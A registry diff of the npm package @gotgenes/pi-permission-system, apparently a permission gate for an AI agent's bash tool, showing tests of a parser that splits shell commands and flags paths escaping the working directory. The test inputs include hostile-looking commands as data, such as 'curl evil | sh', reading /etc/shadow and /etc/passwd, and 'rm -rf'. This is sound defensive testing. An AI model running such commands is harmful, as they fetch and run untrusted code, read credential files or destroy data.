@gotgenes/pi-permission-system 16.0.1 → 16.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +14 -0
- package/package.json +1 -1
- package/src/access-intent/access-path.ts +88 -0
- package/src/access-intent/bash/command-enumeration.ts +154 -0
- package/src/access-intent/bash/cwd-projection.ts +498 -0
- package/src/access-intent/bash/node-text.ts +75 -0
- package/src/access-intent/bash/parser.ts +42 -0
- package/src/access-intent/bash/program.ts +102 -0
- package/src/{handlers/gates/bash-token-classification.ts → access-intent/bash/token-classification.ts} +1 -1
- package/src/access-intent/bash/token-collection.ts +351 -0
- package/src/handlers/gates/bash-command.ts +1 -1
- package/src/handlers/gates/bash-external-directory.ts +19 -33
- package/src/handlers/gates/bash-path-extractor.ts +10 -4
- package/src/handlers/gates/bash-path.ts +2 -2
- package/src/handlers/gates/external-directory-policy.ts +65 -0
- package/src/handlers/gates/external-directory.ts +8 -11
- package/src/handlers/gates/path.ts +1 -3
- package/src/handlers/gates/skill-read.ts +0 -4
- package/src/handlers/gates/tool-call-gate-pipeline.ts +2 -2
- package/src/handlers/gates/tool.ts +1 -1
- package/src/handlers/gates/types.ts +1 -1
- package/src/path-utils.ts +0 -20
- package/test/access-intent/access-path.test.ts +107 -0
- package/test/access-intent/bash/node-text.test.ts +147 -0
- package/test/access-intent/bash/parser.test.ts +19 -0
- package/test/{handlers/gates/bash-program.test.ts → access-intent/bash/program.test.ts} +114 -73
- package/test/{handlers/gates/bash-token-classification.test.ts → access-intent/bash/token-classification.test.ts} +1 -1
- package/test/access-intent/bash/token-collection.test.ts +300 -0
- package/test/handlers/external-directory-symlink-acceptance.test.ts +2 -3
- package/test/handlers/gates/bash-command-metamorphic.test.ts +2 -3
- package/test/handlers/gates/bash-external-directory.test.ts +2 -10
- package/test/handlers/gates/bash-path.test.ts +2 -2
- package/test/handlers/gates/external-directory-policy.test.ts +112 -0
- package/test/handlers/gates/external-directory.test.ts +0 -5
- package/test/handlers/gates/tool-call-gate-pipeline.test.ts +7 -3
- package/test/path-utils.test.ts +0 -34
- package/src/handlers/gates/bash-program.ts +0 -1143
|
@@ -10,15 +10,15 @@ vi.mock("node:fs", () => ({
|
|
|
10
10
|
default: { realpathSync },
|
|
11
11
|
}));
|
|
12
12
|
|
|
13
|
-
import { BashProgram } from "#src/
|
|
13
|
+
import { BashProgram } from "#src/access-intent/bash/program";
|
|
14
14
|
|
|
15
15
|
describe("BashProgram", () => {
|
|
16
16
|
describe("pathRuleCandidates", () => {
|
|
17
17
|
const cwd = "/projects/my-app";
|
|
18
18
|
|
|
19
19
|
it("adds absolute and relative policy values for relative tokens", async () => {
|
|
20
|
-
const program = await BashProgram.parse("cat src/foo.ts");
|
|
21
|
-
expect(program.pathRuleCandidates(
|
|
20
|
+
const program = await BashProgram.parse("cat src/foo.ts", cwd);
|
|
21
|
+
expect(program.pathRuleCandidates()).toEqual([
|
|
22
22
|
{
|
|
23
23
|
token: "src/foo.ts",
|
|
24
24
|
policyValues: ["/projects/my-app/src/foo.ts", "src/foo.ts"],
|
|
@@ -26,17 +26,13 @@ describe("BashProgram", () => {
|
|
|
26
26
|
]);
|
|
27
27
|
});
|
|
28
28
|
|
|
29
|
-
it("returns the literal token only when no cwd is provided", async () => {
|
|
30
|
-
const program = await BashProgram.parse("cat src/foo.ts");
|
|
31
|
-
expect(program.pathRuleCandidates()).toEqual([
|
|
32
|
-
{ token: "src/foo.ts", policyValues: ["src/foo.ts"] },
|
|
33
|
-
]);
|
|
34
|
-
});
|
|
35
|
-
|
|
36
29
|
it("resolves tokens after literal cd against the effective directory", async () => {
|
|
37
|
-
const program = await BashProgram.parse(
|
|
30
|
+
const program = await BashProgram.parse(
|
|
31
|
+
"cd nested && cat src/file.txt",
|
|
32
|
+
cwd,
|
|
33
|
+
);
|
|
38
34
|
const fileCandidate = program
|
|
39
|
-
.pathRuleCandidates(
|
|
35
|
+
.pathRuleCandidates()
|
|
40
36
|
.find((candidate) => candidate.token === "src/file.txt");
|
|
41
37
|
expect(fileCandidate).toEqual({
|
|
42
38
|
token: "src/file.txt",
|
|
@@ -49,9 +45,12 @@ describe("BashProgram", () => {
|
|
|
49
45
|
});
|
|
50
46
|
|
|
51
47
|
it("does not absolute-allow relative tokens after unknown cd", async () => {
|
|
52
|
-
const program = await BashProgram.parse(
|
|
48
|
+
const program = await BashProgram.parse(
|
|
49
|
+
'cd "$DIR" && cat src/foo.ts',
|
|
50
|
+
cwd,
|
|
51
|
+
);
|
|
53
52
|
const fileCandidate = program
|
|
54
|
-
.pathRuleCandidates(
|
|
53
|
+
.pathRuleCandidates()
|
|
55
54
|
.find((candidate) => candidate.token === "src/foo.ts");
|
|
56
55
|
expect(fileCandidate).toEqual({
|
|
57
56
|
token: "src/foo.ts",
|
|
@@ -69,21 +68,26 @@ describe("BashProgram", () => {
|
|
|
69
68
|
});
|
|
70
69
|
|
|
71
70
|
it("returns absolute paths resolving outside cwd", async () => {
|
|
72
|
-
const program = await BashProgram.parse("cat /etc/hosts");
|
|
71
|
+
const program = await BashProgram.parse("cat /etc/hosts", cwd);
|
|
73
72
|
// Subset matcher: the path is normalized before comparison.
|
|
74
|
-
expect(program.externalPaths(
|
|
73
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
74
|
+
"/etc/hosts",
|
|
75
|
+
);
|
|
75
76
|
});
|
|
76
77
|
|
|
77
78
|
it("excludes paths within cwd", async () => {
|
|
78
|
-
const program = await BashProgram.parse("cat src/index.ts");
|
|
79
|
-
expect(program.externalPaths(
|
|
79
|
+
const program = await BashProgram.parse("cat src/index.ts", cwd);
|
|
80
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
80
81
|
});
|
|
81
82
|
|
|
82
83
|
describe("effective working directory projection", () => {
|
|
83
84
|
it("folds a sequence of current-shell cd commands", async () => {
|
|
84
85
|
// cd a → cwd/a, cd b → cwd/a/b; ../c resolves to cwd/a/c (inside).
|
|
85
|
-
const program = await BashProgram.parse(
|
|
86
|
-
|
|
86
|
+
const program = await BashProgram.parse(
|
|
87
|
+
"cd a && cd b && cat ../c",
|
|
88
|
+
cwd,
|
|
89
|
+
);
|
|
90
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
87
91
|
});
|
|
88
92
|
|
|
89
93
|
it("catches an escape masked by a later cd that the single-base model missed", async () => {
|
|
@@ -91,66 +95,85 @@ describe("BashProgram", () => {
|
|
|
91
95
|
// ../../etc/passwd escapes to /projects/etc/passwd.
|
|
92
96
|
const program = await BashProgram.parse(
|
|
93
97
|
"cd nested/deep && cd .. && cat ../../etc/passwd",
|
|
98
|
+
cwd,
|
|
99
|
+
);
|
|
100
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
101
|
+
"/projects/etc/passwd",
|
|
94
102
|
);
|
|
95
|
-
expect(program.externalPaths(cwd)).toContain("/projects/etc/passwd");
|
|
96
103
|
});
|
|
97
104
|
|
|
98
105
|
it("folds a cd that is not the first command", async () => {
|
|
99
106
|
// The single-base model ignored a cd that was not first; now `cd a`
|
|
100
107
|
// folds, so ../b resolves to cwd/b (inside) and is not flagged.
|
|
101
|
-
const program = await BashProgram.parse(
|
|
102
|
-
|
|
108
|
+
const program = await BashProgram.parse(
|
|
109
|
+
"mkdir d && cd a && cat ../b",
|
|
110
|
+
cwd,
|
|
111
|
+
);
|
|
112
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
103
113
|
});
|
|
104
114
|
|
|
105
115
|
it("does not fold a backgrounded cd", async () => {
|
|
106
116
|
// `cd a &` runs in a subshell, so it must not update the running
|
|
107
117
|
// directory; ../b resolves against cwd and escapes.
|
|
108
|
-
const program = await BashProgram.parse("cd a & cat ../b");
|
|
109
|
-
expect(program.externalPaths(
|
|
118
|
+
const program = await BashProgram.parse("cd a & cat ../b", cwd);
|
|
119
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
120
|
+
"/projects/b",
|
|
121
|
+
);
|
|
110
122
|
});
|
|
111
123
|
|
|
112
124
|
it("does not fold a cd inside a pipeline", async () => {
|
|
113
125
|
// Pipeline members run in subshells; the cd must not leak.
|
|
114
|
-
const program = await BashProgram.parse("cd nested | cat ../b");
|
|
115
|
-
expect(program.externalPaths(
|
|
126
|
+
const program = await BashProgram.parse("cd nested | cat ../b", cwd);
|
|
127
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
128
|
+
"/projects/b",
|
|
129
|
+
);
|
|
116
130
|
});
|
|
117
131
|
|
|
118
132
|
it("folds a cd inside a subshell for paths within that subshell", async () => {
|
|
119
133
|
// Inside the subshell the effective dir is cwd/sub, so ../x → cwd/x.
|
|
120
|
-
const program = await BashProgram.parse("( cd sub && cat ../x )");
|
|
121
|
-
expect(program.externalPaths(
|
|
134
|
+
const program = await BashProgram.parse("( cd sub && cat ../x )", cwd);
|
|
135
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
122
136
|
});
|
|
123
137
|
|
|
124
138
|
it("does not leak a subshell cd to following commands", async () => {
|
|
125
139
|
// The subshell cd resets on exit, so ../y resolves against cwd.
|
|
126
|
-
const program = await BashProgram.parse("( cd sub ) && cat ../y");
|
|
127
|
-
expect(program.externalPaths(
|
|
140
|
+
const program = await BashProgram.parse("( cd sub ) && cat ../y", cwd);
|
|
141
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
142
|
+
"/projects/y",
|
|
143
|
+
);
|
|
128
144
|
});
|
|
129
145
|
|
|
130
146
|
it("persists a cd inside a brace group to later commands in the group", async () => {
|
|
131
147
|
// Brace groups run in the current shell, so cd sub persists to cat ../x.
|
|
132
|
-
const program = await BashProgram.parse("{ cd sub; cat ../x; }");
|
|
133
|
-
expect(program.externalPaths(
|
|
148
|
+
const program = await BashProgram.parse("{ cd sub; cat ../x; }", cwd);
|
|
149
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
134
150
|
});
|
|
135
151
|
|
|
136
152
|
it("persists a brace-group cd to following sibling commands", async () => {
|
|
137
|
-
const program = await BashProgram.parse("{ cd sub; } && cat ../x");
|
|
138
|
-
expect(program.externalPaths(
|
|
153
|
+
const program = await BashProgram.parse("{ cd sub; } && cat ../x", cwd);
|
|
154
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
139
155
|
});
|
|
140
156
|
|
|
141
157
|
it("conservatively flags a relative path inside a command substitution", async () => {
|
|
142
158
|
// Interior cd folding inside substitutions is deferred: the interior
|
|
143
159
|
// inherits the enclosing base (cwd), so ../r is flagged rather than
|
|
144
160
|
// resolved against cwd/q. Conservative — never misses an escape.
|
|
145
|
-
const program = await BashProgram.parse(
|
|
146
|
-
|
|
161
|
+
const program = await BashProgram.parse(
|
|
162
|
+
"echo $(cd q && cat ../r)",
|
|
163
|
+
cwd,
|
|
164
|
+
);
|
|
165
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
166
|
+
"/projects/r",
|
|
167
|
+
);
|
|
147
168
|
});
|
|
148
169
|
|
|
149
170
|
it("flags relative paths conservatively after a non-literal cd", async () => {
|
|
150
171
|
// cd "$DIR" makes the effective dir unknowable; ../x could be anywhere,
|
|
151
172
|
// so it is flagged (least-privilege).
|
|
152
|
-
const program = await BashProgram.parse('cd "$DIR" && cat ../x');
|
|
153
|
-
expect(program.externalPaths(
|
|
173
|
+
const program = await BashProgram.parse('cd "$DIR" && cat ../x', cwd);
|
|
174
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
175
|
+
"/projects/x",
|
|
176
|
+
);
|
|
154
177
|
});
|
|
155
178
|
|
|
156
179
|
it("flags even a within-cwd relative path after a non-literal cd", async () => {
|
|
@@ -158,8 +181,9 @@ describe("BashProgram", () => {
|
|
|
158
181
|
// flagged because the effective dir is unknown.
|
|
159
182
|
const program = await BashProgram.parse(
|
|
160
183
|
'cd "$DIR" && cat src/../within.txt',
|
|
184
|
+
cwd,
|
|
161
185
|
);
|
|
162
|
-
expect(program.externalPaths(
|
|
186
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
163
187
|
"/projects/my-app/within.txt",
|
|
164
188
|
);
|
|
165
189
|
});
|
|
@@ -169,13 +193,16 @@ describe("BashProgram", () => {
|
|
|
169
193
|
// even when the effective dir is unknown.
|
|
170
194
|
const program = await BashProgram.parse(
|
|
171
195
|
'cd "$DIR" && cat /projects/my-app/x.txt',
|
|
196
|
+
cwd,
|
|
172
197
|
);
|
|
173
|
-
expect(program.externalPaths(
|
|
198
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
174
199
|
});
|
|
175
200
|
|
|
176
201
|
it("treats `cd -` as an unknown effective directory", async () => {
|
|
177
|
-
const program = await BashProgram.parse("cd - && cat ../x");
|
|
178
|
-
expect(program.externalPaths(
|
|
202
|
+
const program = await BashProgram.parse("cd - && cat ../x", cwd);
|
|
203
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
204
|
+
"/projects/x",
|
|
205
|
+
);
|
|
179
206
|
});
|
|
180
207
|
|
|
181
208
|
it("recovers a known base when a later cd is absolute", async () => {
|
|
@@ -183,8 +210,9 @@ describe("BashProgram", () => {
|
|
|
183
210
|
// ../x resolves to cwd and is not flagged.
|
|
184
211
|
const program = await BashProgram.parse(
|
|
185
212
|
'cd "$DIR" && cd /projects/my-app/src && cat ../x',
|
|
213
|
+
cwd,
|
|
186
214
|
);
|
|
187
|
-
expect(program.externalPaths(
|
|
215
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
188
216
|
});
|
|
189
217
|
|
|
190
218
|
it("folds a leading current-shell cd across a redirect-then-pipe", async () => {
|
|
@@ -195,8 +223,9 @@ describe("BashProgram", () => {
|
|
|
195
223
|
// pipeline: ../b resolves against cwd/a (inside), not cwd (#454).
|
|
196
224
|
const program = await BashProgram.parse(
|
|
197
225
|
"cd a && pnpm x 2>&1 | tail ; cat ../b",
|
|
226
|
+
cwd,
|
|
198
227
|
);
|
|
199
|
-
expect(program.externalPaths(
|
|
228
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
200
229
|
});
|
|
201
230
|
|
|
202
231
|
it("persists the fold past a redirect-then-pipe to a later cd", async () => {
|
|
@@ -205,8 +234,9 @@ describe("BashProgram", () => {
|
|
|
205
234
|
// cwd instead of escaping one level above.
|
|
206
235
|
const program = await BashProgram.parse(
|
|
207
236
|
"cd a/b && pnpm x 2>&1 | tail ; cd .. && cd ..",
|
|
237
|
+
cwd,
|
|
208
238
|
);
|
|
209
|
-
expect(program.externalPaths(
|
|
239
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
210
240
|
});
|
|
211
241
|
|
|
212
242
|
it("does not fold the terminal piped command of the first stage", async () => {
|
|
@@ -217,8 +247,11 @@ describe("BashProgram", () => {
|
|
|
217
247
|
// inside — a fail-open regression this test pins.
|
|
218
248
|
const program = await BashProgram.parse(
|
|
219
249
|
"cd a && cd b 2>&1 | tail ; cat ../../x",
|
|
250
|
+
cwd,
|
|
251
|
+
);
|
|
252
|
+
expect(program.externalPaths().map((p) => p.value())).toContain(
|
|
253
|
+
"/projects/x",
|
|
220
254
|
);
|
|
221
|
-
expect(program.externalPaths(cwd)).toContain("/projects/x");
|
|
222
255
|
});
|
|
223
256
|
|
|
224
257
|
it("resolves a downstream pipe stage against the folded base", async () => {
|
|
@@ -227,8 +260,9 @@ describe("BashProgram", () => {
|
|
|
227
260
|
// pre-cd base.
|
|
228
261
|
const program = await BashProgram.parse(
|
|
229
262
|
"cd a && pnpm x 2>&1 | cat ../foo",
|
|
263
|
+
cwd,
|
|
230
264
|
);
|
|
231
|
-
expect(program.externalPaths(
|
|
265
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
232
266
|
});
|
|
233
267
|
});
|
|
234
268
|
|
|
@@ -244,8 +278,9 @@ describe("BashProgram", () => {
|
|
|
244
278
|
});
|
|
245
279
|
const program = await BashProgram.parse(
|
|
246
280
|
"cat /projects/my-app/link/hosts",
|
|
281
|
+
cwd,
|
|
247
282
|
);
|
|
248
|
-
const external = program.externalPaths(
|
|
283
|
+
const external = program.externalPaths().map((p) => p.value());
|
|
249
284
|
expect(external).toContain("/projects/my-app/link/hosts");
|
|
250
285
|
expect(external).not.toContain("/etc/hosts");
|
|
251
286
|
});
|
|
@@ -258,19 +293,24 @@ describe("BashProgram", () => {
|
|
|
258
293
|
if (p.startsWith("/tmp/")) return "/private/tmp" + p.slice(4);
|
|
259
294
|
return p;
|
|
260
295
|
});
|
|
261
|
-
const program = await BashProgram.parse(
|
|
262
|
-
|
|
296
|
+
const program = await BashProgram.parse(
|
|
297
|
+
"cat /tmp/workspace/file.ts",
|
|
298
|
+
symlinkCwd,
|
|
299
|
+
);
|
|
300
|
+
expect(program.externalPaths()).toHaveLength(0);
|
|
263
301
|
});
|
|
264
302
|
});
|
|
265
303
|
|
|
266
304
|
describe("commands", () => {
|
|
305
|
+
const cwd = "/projects/my-app";
|
|
306
|
+
|
|
267
307
|
it("returns a single-element list for a lone command", async () => {
|
|
268
|
-
const program = await BashProgram.parse("npm install pkg");
|
|
308
|
+
const program = await BashProgram.parse("npm install pkg", cwd);
|
|
269
309
|
expect(program.commands()).toEqual([{ text: "npm install pkg" }]);
|
|
270
310
|
});
|
|
271
311
|
|
|
272
312
|
it("splits an && chain", async () => {
|
|
273
|
-
const program = await BashProgram.parse("cd /p && npm i x");
|
|
313
|
+
const program = await BashProgram.parse("cd /p && npm i x", cwd);
|
|
274
314
|
expect(program.commands()).toEqual([
|
|
275
315
|
{ text: "cd /p" },
|
|
276
316
|
{ text: "npm i x" },
|
|
@@ -278,22 +318,22 @@ describe("BashProgram", () => {
|
|
|
278
318
|
});
|
|
279
319
|
|
|
280
320
|
it("splits || , ; and & separators", async () => {
|
|
281
|
-
expect((await BashProgram.parse("a || b")).commands()).toEqual([
|
|
321
|
+
expect((await BashProgram.parse("a || b", cwd)).commands()).toEqual([
|
|
282
322
|
{ text: "a" },
|
|
283
323
|
{ text: "b" },
|
|
284
324
|
]);
|
|
285
|
-
expect((await BashProgram.parse("a ; b")).commands()).toEqual([
|
|
325
|
+
expect((await BashProgram.parse("a ; b", cwd)).commands()).toEqual([
|
|
286
326
|
{ text: "a" },
|
|
287
327
|
{ text: "b" },
|
|
288
328
|
]);
|
|
289
|
-
expect((await BashProgram.parse("a & b")).commands()).toEqual([
|
|
329
|
+
expect((await BashProgram.parse("a & b", cwd)).commands()).toEqual([
|
|
290
330
|
{ text: "a" },
|
|
291
331
|
{ text: "b" },
|
|
292
332
|
]);
|
|
293
333
|
});
|
|
294
334
|
|
|
295
335
|
it("splits a pipeline into its commands", async () => {
|
|
296
|
-
const program = await BashProgram.parse("cat f | grep b");
|
|
336
|
+
const program = await BashProgram.parse("cat f | grep b", cwd);
|
|
297
337
|
expect(program.commands()).toEqual([
|
|
298
338
|
{ text: "cat f" },
|
|
299
339
|
{ text: "grep b" },
|
|
@@ -301,22 +341,22 @@ describe("BashProgram", () => {
|
|
|
301
341
|
});
|
|
302
342
|
|
|
303
343
|
it("splits newline-separated commands", async () => {
|
|
304
|
-
const program = await BashProgram.parse("foo\nbar");
|
|
344
|
+
const program = await BashProgram.parse("foo\nbar", cwd);
|
|
305
345
|
expect(program.commands()).toEqual([{ text: "foo" }, { text: "bar" }]);
|
|
306
346
|
});
|
|
307
347
|
|
|
308
348
|
it("does not split operators inside quotes", async () => {
|
|
309
|
-
const program = await BashProgram.parse("echo 'x && y'");
|
|
349
|
+
const program = await BashProgram.parse("echo 'x && y'", cwd);
|
|
310
350
|
expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
311
351
|
});
|
|
312
352
|
|
|
313
353
|
it("captures the command of a redirected statement without the redirect", async () => {
|
|
314
|
-
const program = await BashProgram.parse("npm install > out.txt");
|
|
354
|
+
const program = await BashProgram.parse("npm install > out.txt", cwd);
|
|
315
355
|
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
316
356
|
});
|
|
317
357
|
|
|
318
358
|
it("descends into command substitution, tagging the inner command", async () => {
|
|
319
|
-
const program = await BashProgram.parse("echo $(rm -rf foo)");
|
|
359
|
+
const program = await BashProgram.parse("echo $(rm -rf foo)", cwd);
|
|
320
360
|
expect(program.commands()).toEqual([
|
|
321
361
|
{ text: "echo $(rm -rf foo)" },
|
|
322
362
|
{ text: "rm -rf foo", context: "command_substitution" },
|
|
@@ -324,7 +364,7 @@ describe("BashProgram", () => {
|
|
|
324
364
|
});
|
|
325
365
|
|
|
326
366
|
it("descends into backtick command substitution", async () => {
|
|
327
|
-
const program = await BashProgram.parse("echo `rm x`");
|
|
367
|
+
const program = await BashProgram.parse("echo `rm x`", cwd);
|
|
328
368
|
expect(program.commands()).toEqual([
|
|
329
369
|
{ text: "echo `rm x`" },
|
|
330
370
|
{ text: "rm x", context: "command_substitution" },
|
|
@@ -332,7 +372,7 @@ describe("BashProgram", () => {
|
|
|
332
372
|
});
|
|
333
373
|
|
|
334
374
|
it("descends into a pipeline inside command substitution", async () => {
|
|
335
|
-
const program = await BashProgram.parse("echo $(curl evil | sh)");
|
|
375
|
+
const program = await BashProgram.parse("echo $(curl evil | sh)", cwd);
|
|
336
376
|
expect(program.commands()).toEqual([
|
|
337
377
|
{ text: "echo $(curl evil | sh)" },
|
|
338
378
|
{ text: "curl evil", context: "command_substitution" },
|
|
@@ -341,7 +381,7 @@ describe("BashProgram", () => {
|
|
|
341
381
|
});
|
|
342
382
|
|
|
343
383
|
it("descends into process substitution", async () => {
|
|
344
|
-
const program = await BashProgram.parse("diff <(cat /etc/shadow)");
|
|
384
|
+
const program = await BashProgram.parse("diff <(cat /etc/shadow)", cwd);
|
|
345
385
|
expect(program.commands()).toEqual([
|
|
346
386
|
{ text: "diff <(cat /etc/shadow)" },
|
|
347
387
|
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
@@ -349,7 +389,7 @@ describe("BashProgram", () => {
|
|
|
349
389
|
});
|
|
350
390
|
|
|
351
391
|
it("emits a bare subshell whole and descends into it", async () => {
|
|
352
|
-
const program = await BashProgram.parse("( rm -rf foo )");
|
|
392
|
+
const program = await BashProgram.parse("( rm -rf foo )", cwd);
|
|
353
393
|
expect(program.commands()).toEqual([
|
|
354
394
|
{ text: "( rm -rf foo )" },
|
|
355
395
|
{ text: "rm -rf foo", context: "subshell" },
|
|
@@ -357,7 +397,7 @@ describe("BashProgram", () => {
|
|
|
357
397
|
});
|
|
358
398
|
|
|
359
399
|
it("emits a subshell whole and descends into its chain", async () => {
|
|
360
|
-
const program = await BashProgram.parse("( cd /t && rm x )");
|
|
400
|
+
const program = await BashProgram.parse("( cd /t && rm x )", cwd);
|
|
361
401
|
expect(program.commands()).toEqual([
|
|
362
402
|
{ text: "( cd /t && rm x )" },
|
|
363
403
|
{ text: "cd /t", context: "subshell" },
|
|
@@ -366,7 +406,7 @@ describe("BashProgram", () => {
|
|
|
366
406
|
});
|
|
367
407
|
|
|
368
408
|
it("descends recursively through nested contexts", async () => {
|
|
369
|
-
const program = await BashProgram.parse("echo $( ( rm x ) )");
|
|
409
|
+
const program = await BashProgram.parse("echo $( ( rm x ) )", cwd);
|
|
370
410
|
expect(program.commands()).toEqual([
|
|
371
411
|
{ text: "echo $( ( rm x ) )" },
|
|
372
412
|
{ text: "( rm x )", context: "command_substitution" },
|
|
@@ -375,7 +415,7 @@ describe("BashProgram", () => {
|
|
|
375
415
|
});
|
|
376
416
|
|
|
377
417
|
it("descends into a substitution within a chained command", async () => {
|
|
378
|
-
const program = await BashProgram.parse("cd /p && echo $(rm x)");
|
|
418
|
+
const program = await BashProgram.parse("cd /p && echo $(rm x)", cwd);
|
|
379
419
|
expect(program.commands()).toEqual([
|
|
380
420
|
{ text: "cd /p" },
|
|
381
421
|
{ text: "echo $(rm x)" },
|
|
@@ -384,7 +424,7 @@ describe("BashProgram", () => {
|
|
|
384
424
|
});
|
|
385
425
|
|
|
386
426
|
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
387
|
-
const program = await BashProgram.parse("echo $(echo safe)");
|
|
427
|
+
const program = await BashProgram.parse("echo $(echo safe)", cwd);
|
|
388
428
|
expect(program.commands()).toEqual([
|
|
389
429
|
{ text: "echo $(echo safe)" },
|
|
390
430
|
{ text: "echo safe", context: "command_substitution" },
|
|
@@ -392,18 +432,19 @@ describe("BashProgram", () => {
|
|
|
392
432
|
});
|
|
393
433
|
|
|
394
434
|
it("returns an empty list for an empty or whitespace command", async () => {
|
|
395
|
-
expect((await BashProgram.parse("")).commands()).toEqual([]);
|
|
396
|
-
expect((await BashProgram.parse(" ")).commands()).toEqual([]);
|
|
435
|
+
expect((await BashProgram.parse("", cwd)).commands()).toEqual([]);
|
|
436
|
+
expect((await BashProgram.parse(" ", cwd)).commands()).toEqual([]);
|
|
397
437
|
});
|
|
398
438
|
});
|
|
399
439
|
|
|
400
440
|
it("derives both slices from a single parse", async () => {
|
|
401
|
-
const
|
|
441
|
+
const cwd = "/projects/my-app";
|
|
442
|
+
const program = await BashProgram.parse("cat .env /etc/hosts", cwd);
|
|
402
443
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
403
444
|
".env",
|
|
404
445
|
"/etc/hosts",
|
|
405
446
|
]);
|
|
406
|
-
const external = program.externalPaths(
|
|
447
|
+
const external = program.externalPaths().map((p) => p.value());
|
|
407
448
|
expect(external).toContain("/etc/hosts");
|
|
408
449
|
expect(external).not.toContain(".env");
|
|
409
450
|
});
|
|
@@ -3,7 +3,7 @@ import { describe, expect, test } from "vitest";
|
|
|
3
3
|
import {
|
|
4
4
|
classifyTokenAsPathCandidate,
|
|
5
5
|
classifyTokenAsRuleCandidate,
|
|
6
|
-
} from "#src/
|
|
6
|
+
} from "#src/access-intent/bash/token-classification";
|
|
7
7
|
|
|
8
8
|
// ── Shared rejection behaviour ─────────────────────────────────────────────
|
|
9
9
|
//
|